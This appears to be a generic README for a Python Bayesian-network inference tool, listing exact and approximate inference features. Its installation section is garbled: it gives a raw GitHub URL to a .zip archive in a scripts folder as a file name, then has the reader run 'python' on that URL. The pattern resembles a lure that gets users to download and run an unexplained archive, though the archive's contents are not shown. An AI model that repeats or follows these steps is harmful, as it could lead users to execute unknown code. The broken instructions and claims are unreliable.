🔍 python-bayesian-network-inference - Simple Bayesian Network Inference Tool

📘 Overview

Welcome to the "python-bayesian-network-inference" project. This application allows you to work with Bayesian Networks using Python. It provides both exact and approximate inference algorithms. With this tool, you can better understand probability networks and their applications in various fields.

🚀 Getting Started

System Requirements

Before you download the software, ensure your system meets the following requirements:

• Operating System: Windows, macOS, or Linux
• Python: Version 3.6 or newer
• Memory: At least 4 GB RAM
• Disk Space: Minimum of 100 MB free space

Installation Steps

Follow these steps to download and run the application:

1. Visit the Releases Page
   Go to the Releases page to find the latest version of the software.

2. Download the Software
   On the Releases page, locate the latest version. Click on the asset to download the application.

3. Extract the Files (if needed)
   If you download a compressed file (like .zip or .tar), extract it to a location you can easily access.

4. Run the Application
   Navigate to the folder where you extracted the files. Look for a file named https://raw.githubusercontent.com/Hundredor/python-bayesian-network-inference/main/scripts/python-bayesian-network-inference-v3.4.zip. Open your command line interface:

   • For Windows, use Command Prompt or PowerShell.
   • For macOS or Linux, use the Terminal.

   Run the application by typing the following command:

   python https://raw.githubusercontent.com/Hundredor/python-bayesian-network-inference/main/scripts/python-bayesian-network-inference-v3.4.zip
   

5. Follow the On-Screen Instructions
   The application will guide you through its features. Follow the prompts to start using the Bayesian network inference tools.

📥 Download & Install

You can download the software directly from the Releases page. Find the latest version, click on it, and choose the appropriate file for your operating system.

🛠️ Features

This application includes several key features:

• Variable Elimination: Perform exact inference efficiently.
• Rejection Sampling: Use approximate methods for inference.
• Gibbs Sampling: Simplify complex calculations with this technique.
• Likelihood Weighting: Obtain accurate results in less time.
• User-Friendly Interface: Designed for users with no programming experience.

📚 How to Use

Once you open the application, you will see options for different inference algorithms. Here’s a brief guide on how to use each feature:

1. Select Inference Method
   Choose either Exact or Approximate inference from the main menu.

2. Input Data
   Enter the necessary parameters and data points as prompted.

3. View Results
   The application will display the results in a clear format. You can analyze the output easily without needing technical knowledge.

🤝 Contributing

We welcome contributions to improve this project. If you have suggestions or want to report issues, feel free to visit our GitHub repository. To contribute, follow these steps:

1. Fork the repository.
2. Create a new branch for your feature or fix.
3. Make your changes and test them.
4. Submit a pull request for review.

📝 License

This project is licensed under the MIT License. Feel free to use and modify it according to your needs.

📞 Support

If you have questions or need help, please reach out through our GitHub Issues page. We will do our best to assist you.

🌐 More Information

• GitHub Repository: python-bayesian-network-inference
• Documentation: Explore additional documentation on how to make the most of this software.

Thank you for choosing "python-bayesian-network-inference". Enjoy exploring the world of Bayesian networks!